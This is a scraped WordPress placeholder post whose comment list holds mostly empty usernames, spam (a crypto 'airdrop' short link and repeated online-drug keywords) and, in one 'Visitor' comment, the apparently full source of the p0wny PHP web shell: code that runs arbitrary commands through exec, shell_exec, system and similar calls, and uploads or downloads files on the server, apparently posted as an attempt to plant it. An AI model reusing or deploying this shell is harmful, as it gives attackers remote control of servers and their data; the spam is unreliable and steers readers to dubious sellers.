Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

Schedule appointment

admin

Vestibulum ante ipsum

Vestibulum ac diam sit amet quam vehicula elementum sed sit amet dui. Donec rutrum congue leo eget malesuada vestibulum.

94 Kommentare

  1. Bruce2498 6. August 2025 at 06:50
  2. Omar2781 6. August 2025 at 21:22
  3. Caroline1534 9. August 2025 at 05:10
  4. Luis3255 13. August 2025 at 10:30
  5. Autumn187 13. August 2025 at 19:41
  6. Randy930 14. August 2025 at 11:43
  7. Stanley3764 15. August 2025 at 11:01
  8. Tiffany2543 17. August 2025 at 12:14
  9. Frederick3723 19. August 2025 at 14:50
  10. Noelle3358 21. August 2025 at 22:18
  11. Barry528 22. August 2025 at 02:57
  12. Lincoln3160 23. August 2025 at 12:46
  13. Russell2473 27. August 2025 at 00:01
  14. Haven4213 28. August 2025 at 19:29
  15. Amber4309 28. August 2025 at 23:05
  16. Justin4141 2. September 2025 at 00:11
  17. Kelsey3496 3. September 2025 at 16:05
  18. Beau1344 9. September 2025 at 19:08
  19. Calvin827 16. September 2025 at 19:48
  20. Ron1737 17. September 2025 at 17:33
  21. Adam473 17. September 2025 at 23:53
  22. Cara3047 19. September 2025 at 06:02
  23. Gabriela3984 20. September 2025 at 23:47
  24. Alma2010 21. September 2025 at 21:54
  25. Ralph3946 22. September 2025 at 15:06
  26. Ann2937 23. September 2025 at 09:28
  27. Terry1580 24. September 2025 at 14:02
  28. Jimmy682 25. September 2025 at 15:43
  29. Blair3920 2. Oktober 2025 at 11:33
  30. Ethan225 5. Oktober 2025 at 04:51
  31. James4140 6. Oktober 2025 at 04:05
  32. Layla2009 7. Oktober 2025 at 06:27
  33. Brantley1769 8. Oktober 2025 at 10:12
  34. Andy4544 14. Oktober 2025 at 02:21
  35. Edith2387 15. Oktober 2025 at 01:12
  36. Ebony2762 17. Oktober 2025 at 21:16
  37. Herbert4896 21. Oktober 2025 at 08:24
  38. Colette1315 21. Oktober 2025 at 09:45
  39. Krystal3973 21. Oktober 2025 at 11:51
  40. Jessie4255 22. Oktober 2025 at 08:38
  41. Emmanuel383 25. Oktober 2025 at 06:10
  42. Arthur2851 27. Oktober 2025 at 17:17
  43. Payton4471 2. November 2025 at 18:16
  44. Amelie3573 16. November 2025 at 11:13
  45. Piper3742 18. November 2025 at 12:36
  46. Adalyn1089 19. November 2025 at 00:19
  47. Cadence4058 22. November 2025 at 00:14
  48. Alexia1708 22. November 2025 at 09:59
  49. Jose1113 23. November 2025 at 15:03
  50. Charlie4580 1. Dezember 2025 at 09:09
  51. Caden2431 1. Dezember 2025 at 10:27
  52. George4366 5. Dezember 2025 at 13:53
  53. Krista1434 16. Dezember 2025 at 19:30
  54. Richard1808 26. Dezember 2025 at 06:49
  55. Emmanuel3754 26. Dezember 2025 at 20:48
  56. Layla1100 31. Dezember 2025 at 08:19
  57. Nicholas2849 19. Januar 2026 at 11:55

    Earn your airdrop on Aster https://is.gd/ZceEI6

  58. Dorothy1911 23. Januar 2026 at 10:34
  59. Barret4774 26. Januar 2026 at 18:58
  60. Sylvia641 29. Januar 2026 at 20:54
  61. Abby1356 13. Februar 2026 at 13:31
  62. Genevieve4165 15. Februar 2026 at 13:31
  63. Terrence1787 24. Februar 2026 at 19:21
  64. Colby937 18. März 2026 at 21:06
  65. Kenny1364 19. März 2026 at 18:24
  66. Alan23 26. März 2026 at 05:57
  67. dapoxetine online 3. April 2026 at 23:19

    dapoxetine online

    dapoxetine online

  68. amoxicillin for sinus infection 4. April 2026 at 03:31

    amoxicillin for sinus infection

    amoxicillin for sinus infection

  69. furosemide 20 mg tablet 4. April 2026 at 13:12

    furosemide 20 mg tablet

    furosemide 20 mg tablet

  70. stromectol price south africa 4. April 2026 at 18:25

    stromectol price south africa

    stromectol price south africa

  71. Camryn3445 17. April 2026 at 14:24
  72. cialis kidney disease 21. April 2026 at 16:30

    cialis kidney disease

    cialis kidney disease

  73. Hope4032 23. April 2026 at 23:13
  74. vidalista 20mg reviews 24. April 2026 at 02:47

    vidalista 20mg reviews

    vidalista 20mg reviews

  75. cialis drug classification 2. Mai 2026 at 18:24

    cialis drug classification

    cialis drug classification

  76. Imelda3904 9. Mai 2026 at 18:20
  77. Alanna4547 10. Mai 2026 at 00:51
  78. Douglas2496 10. Mai 2026 at 13:56
  79. Curtis1864 10. Mai 2026 at 21:36
  80. x srcset=https://example.com/fake.jpg 11. Mai 2026 at 12:02

    yvpcm1ggslnml425hn4q

  81. Visitor 11. Mai 2026 at 12:03

    ‚p0wny‘,
    ‚hostname‘ => ’shell‘,
    );

    function expandPath($path) {
    if (preg_match(„#^(~[a-zA-Z0-9_.-]*)(/.*)?$#“, $path, $match)) {
    exec(„echo $match[1]“, $stdout);
    return $stdout[0] . $match[2];
    }
    return $path;
    }

    function allFunctionExist($list = array()) {
    foreach ($list as $entry) {
    if (!function_exists($entry)) {
    return false;
    }
    }
    return true;
    }

    function executeCommand($cmd) {
    $output = “;
    if (function_exists(‚exec‘)) {
    exec($cmd, $output);
    $output = implode(„\n“, $output);
    } else if (function_exists(’shell_exec‘)) {
    $output = shell_exec($cmd);
    } else if (allFunctionExist(array(’system‘, ‚ob_start‘, ‚ob_get_contents‘, ‚ob_end_clean‘))) {
    ob_start();
    system($cmd);
    $output = ob_get_contents();
    ob_end_clean();
    } else if (allFunctionExist(array(‚passthru‘, ‚ob_start‘, ‚ob_get_contents‘, ‚ob_end_clean‘))) {
    ob_start();
    passthru($cmd);
    $output = ob_get_contents();
    ob_end_clean();
    } else if (allFunctionExist(array(‚popen‘, ‚feof‘, ‚fread‘, ‚pclose‘))) {
    $handle = popen($cmd, ‚r‘);
    while (!feof($handle)) {
    $output .= fread($handle, 4096);
    }
    pclose($handle);
    } else if (allFunctionExist(array(‚proc_open‘, ’stream_get_contents‘, ‚proc_close‘))) {
    $handle = proc_open($cmd, array(0 => array(‚pipe‘, ‚r‘), 1 => array(‚pipe‘, ‚w‘)), $pipes);
    $output = stream_get_contents($pipes[1]);
    proc_close($handle);
    }
    return $output;
    }

    function isRunningWindows() {
    return stripos(PHP_OS, „WIN“) === 0;
    }

    function featureShell($cmd, $cwd) {
    $stdout = „“;

    if (preg_match(„/^\s*cd\s*(2>&1)?$/“, $cmd)) {
    chdir(expandPath(„~“));
    } elseif (preg_match(„/^\s*cd\s+(.+)\s*(2>&1)?$/“, $cmd)) {
    chdir($cwd);
    preg_match(„/^\s*cd\s+([^\s]+)\s*(2>&1)?$/“, $cmd, $match);
    chdir(expandPath($match[1]));
    } elseif (preg_match(„/^\s*download\s+[^\s]+\s*(2>&1)?$/“, $cmd)) {
    chdir($cwd);
    preg_match(„/^\s*download\s+([^\s]+)\s*(2>&1)?$/“, $cmd, $match);
    return featureDownload($match[1]);
    } else {
    chdir($cwd);
    $stdout = executeCommand($cmd);
    }

    return array(
    „stdout“ => base64_encode($stdout),
    „cwd“ => base64_encode(getcwd())
    );
    }

    function featurePwd() {
    return array(„cwd“ => base64_encode(getcwd()));
    }

    function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == ‚cmd‘) {
    $cmd = „compgen -c $fileName“;
    } else {
    $cmd = „compgen -f $fileName“;
    }
    $cmd = „/bin/bash -c \“$cmd\““;
    $files = explode(„\n“, shell_exec($cmd));
    foreach ($files as &$filename) {
    $filename = base64_encode($filename);
    }
    return array(
    ‚files‘ => $files,
    );
    }

    function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
    return array(
    ’stdout‘ => base64_encode(‚File not found / no read permission.‘),
    ‚cwd‘ => base64_encode(getcwd())
    );
    } else {
    return array(
    ’name‘ => base64_encode(basename($filePath)),
    ‚file‘ => base64_encode($file)
    );
    }
    }

    function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, ‚wb‘);
    if ($f === FALSE) {
    return array(
    ’stdout‘ => base64_encode(‚Invalid path / no write permission.‘),
    ‚cwd‘ => base64_encode(getcwd())
    );
    } else {
    fwrite($f, base64_decode($file));
    fclose($f);
    return array(
    ’stdout‘ => base64_encode(‚Done.‘),
    ‚cwd‘ => base64_encode(getcwd())
    );
    }
    }

    function initShellConfig() {
    global $SHELL_CONFIG;

    if (isRunningWindows()) {
    $username = getenv(‚USERNAME‘);
    if ($username !== false) {
    $SHELL_CONFIG[‚username‘] = $username;
    }
    } else {
    $pwuid = posix_getpwuid(posix_geteuid());
    if ($pwuid !== false) {
    $SHELL_CONFIG[‚username‘] = $pwuid[’name‘];
    }
    }

    $hostname = gethostname();
    if ($hostname !== false) {
    $SHELL_CONFIG[‚hostname‘] = $hostname;
    }
    }

    if (isset($_GET[„feature“])) {

    $response = NULL;

    switch ($_GET[„feature“]) {
    case „shell“:
    $cmd = $_POST[‚cmd‘];
    if (!preg_match(‚/2>/‘, $cmd)) {
    $cmd .= ‚ 2>&1‘;
    }
    $response = featureShell($cmd, $_POST[„cwd“]);
    break;
    case „pwd“:
    $response = featurePwd();
    break;
    case „hint“:
    $response = featureHint($_POST[‚filename‘], $_POST[‚cwd‘], $_POST[‚type‘]);
    break;
    case ‚upload‘:
    $response = featureUpload($_POST[‚path‘], $_POST[‚file‘], $_POST[‚cwd‘]);
    }

    header(„Content-Type: application/json“);
    echo json_encode($response);
    die();
    } else {
    initShellConfig();
    }

    ?>

    p0wny@shell:~#

    html, body {
    margin: 0;
    padding: 0;
    background: #333;
    color: #eee;
    font-family: monospace;
    width: 100vw;
    height: 100vh;
    overflow: hidden;
    }

    *::-webkit-scrollbar-track {
    border-radius: 8px;
    background-color: #353535;
    }

    *::-webkit-scrollbar {
    width: 8px;
    height: 8px;
    }

    *::-webkit-scrollbar-thumb {
    border-radius: 8px;
    -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
    background-color: #bcbcbc;
    }

    #shell {
    background: #222;
    box-shadow: 0 0 5px rgba(0, 0, 0, .3);
    font-size: 10pt;
    display: flex;
    flex-direction: column;
    align-items: stretch;
    max-width: calc(100vw – 2 * var(–shell-margin));
    max-height: calc(100vh – 2 * var(–shell-margin));
    resize: both;
    overflow: hidden;
    width: 100%;
    height: 100%;
    margin: var(–shell-margin) auto;
    }

    #shell-content {
    overflow: auto;
    padding: 5px;
    white-space: pre-wrap;
    flex-grow: 1;
    }

    #shell-logo {
    font-weight: bold;
    color: #FF4180;
    text-align: center;
    }

    :root {
    –shell-margin: 25px;
    }

    @media (min-width: 1200px) {
    :root {
    –shell-margin: 50px !important;
    }
    }

    @media (max-width: 991px),
    (max-height: 600px) {
    #shell-logo {
    font-size: 6px;
    margin: -25px 0;
    }
    :root {
    –shell-margin: 0 !important;
    }
    #shell {
    resize: none;
    }
    }

    @media (max-width: 767px) {
    #shell-input {
    flex-direction: column;
    }
    }

    @media (max-width: 320px) {
    #shell-logo {
    font-size: 5px;
    }
    }

    .shell-prompt {
    font-weight: bold;
    color: #75DF0B;
    }

    .shell-prompt > span {
    color: #1BC9E7;
    }

    #shell-input {
    display: flex;
    box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
    border-top: rgba(255, 255, 255, .05) solid 1px;
    padding: 10px 0;
    }

    #shell-input > label {
    flex-grow: 0;
    display: block;
    padding: 0 5px;
    height: 30px;
    line-height: 30px;
    }

    #shell-input #shell-cmd {
    height: 30px;
    line-height: 30px;
    border: none;
    background: transparent;
    color: #eee;
    font-family: monospace;
    font-size: 10pt;
    width: 100%;
    align-self: center;
    box-sizing: border-box;
    }

    #shell-input div {
    flex-grow: 1;
    align-items: stretch;
    }

    #shell-input input {
    outline: none;
    }

    var SHELL_CONFIG = ;
    var CWD = null;
    var commandHistory = [];
    var historyPosition = 0;
    var eShellCmdInput = null;
    var eShellContent = null;

    function _insertCommand(command) {
    eShellContent.innerHTML += „\n\n“;
    eShellContent.innerHTML += “ + genPrompt(CWD) + ‚ ‚;
    eShellContent.innerHTML += escapeHtml(command);
    eShellContent.innerHTML += „\n“;
    eShellContent.scrollTop = eShellContent.scrollHeight;
    }

    function _insertStdout(stdout) {
    eShellContent.innerHTML += escapeHtml(stdout);
    eShellContent.scrollTop = eShellContent.scrollHeight;
    }

    function _defer(callback) {
    setTimeout(callback, 0);
    }

    function featureShell(command) {

    _insertCommand(command);
    if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
    } else if (/^\s*clear\s*$/.test(command)) {
    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
    eShellContent.innerHTML = “;
    } else {
    makeRequest(„?feature=shell“, {cmd: command, cwd: CWD}, function (response) {
    if (response.hasOwnProperty(‚file‘)) {
    featureDownload(atob(response.name), response.file)
    } else {
    _insertStdout(atob(response.stdout));
    updateCwd(atob(response.cwd));
    }
    });
    }
    }

    function featureHint() {
    if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete

    function _requestCallback(data) {
    if (data.files.length 3) {
    var splittedCwd = cwd.split(„/“);
    shortCwd = „…/“ + splittedCwd[splittedCwd.length-2] + „/“ + splittedCwd[splittedCwd.length-1];
    }
    return SHELL_CONFIG[„username“] + „@“ + SHELL_CONFIG[„hostname“] + „:“ + shortCwd + „#“;
    }

    function updateCwd(cwd) {
    if (cwd) {
    CWD = cwd;
    _updatePrompt();
    return;
    }
    makeRequest(„?feature=pwd“, {}, function(response) {
    CWD = atob(response.cwd);
    _updatePrompt();
    });

    }

    function escapeHtml(string) {
    return string
    .replace(/&/g, „&“)
    .replace(//g, „>“);
    }

    function _updatePrompt() {
    var eShellPrompt = document.getElementById(„shell-prompt“);
    eShellPrompt.innerHTML = genPrompt(CWD);
    }

    function _onShellCmdKeyDown(event) {
    switch (event.key) {
    case „Enter“:
    featureShell(eShellCmdInput.value);
    insertToHistory(eShellCmdInput.value);
    eShellCmdInput.value = „“;
    break;
    case „ArrowUp“:
    if (historyPosition > 0) {
    historyPosition–;
    eShellCmdInput.blur();
    eShellCmdInput.value = commandHistory[historyPosition];
    _defer(function() {
    eShellCmdInput.focus();
    });
    }
    break;
    case „ArrowDown“:
    if (historyPosition >= commandHistory.length) {
    break;
    }
    historyPosition++;
    if (historyPosition === commandHistory.length) {
    eShellCmdInput.value = „“;
    } else {
    eShellCmdInput.blur();
    eShellCmdInput.focus();
    eShellCmdInput.value = commandHistory[historyPosition];
    }
    break;
    case ‚Tab‘:
    event.preventDefault();
    featureHint();
    break;
    }
    }

    function insertToHistory(cmd) {
    commandHistory.push(cmd);
    historyPosition = commandHistory.length;
    }

    function makeRequest(url, params, callback) {
    function getQueryString() {
    var a = [];
    for (var key in params) {
    if (params.hasOwnProperty(key)) {
    a.push(encodeURIComponent(key) + „=“ + encodeURIComponent(params[key]));
    }
    }
    return a.join(„&“);
    }
    var xhr = new XMLHttpRequest();
    xhr.open(„POST“, url, true);
    xhr.setRequestHeader(„Content-Type“, „application/x-www-form-urlencoded“);
    xhr.onreadystatechange = function() {
    if (xhr.readyState === 4 && xhr.status === 200) {
    try {
    var responseJson = JSON.parse(xhr.responseText);
    callback(responseJson);
    } catch (error) {
    alert(„Error while parsing response: “ + error);
    }
    }
    };
    xhr.send(getQueryString());
    }

    document.onclick = function(event) {
    event = event || window.event;
    var selection = window.getSelection();
    var target = event.target || event.srcElement;

    if (target.tagName === „SELECT“) {
    return;
    }

    if (!selection.toString()) {
    eShellCmdInput.focus();
    }
    };

    window.onload = function() {
    eShellCmdInput = document.getElementById(„shell-cmd“);
    eShellContent = document.getElementById(„shell-content“);
    updateCwd();
    eShellCmdInput.focus();
    };

    ___ ____ _ _ _ _ _
    _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_
    | ‚_ \| | | \ \ /\ / / ‚_ \| | | |/ / _` / __| ‚_ \ / _ \ | (_)/\/_ .. _|
    | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|
    | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_|
    |_| |___/ \____/

    ???

  82. Brandi497 13. Mai 2026 at 21:03
  83. Josh3030 13. Mai 2026 at 22:04

Leave A Comment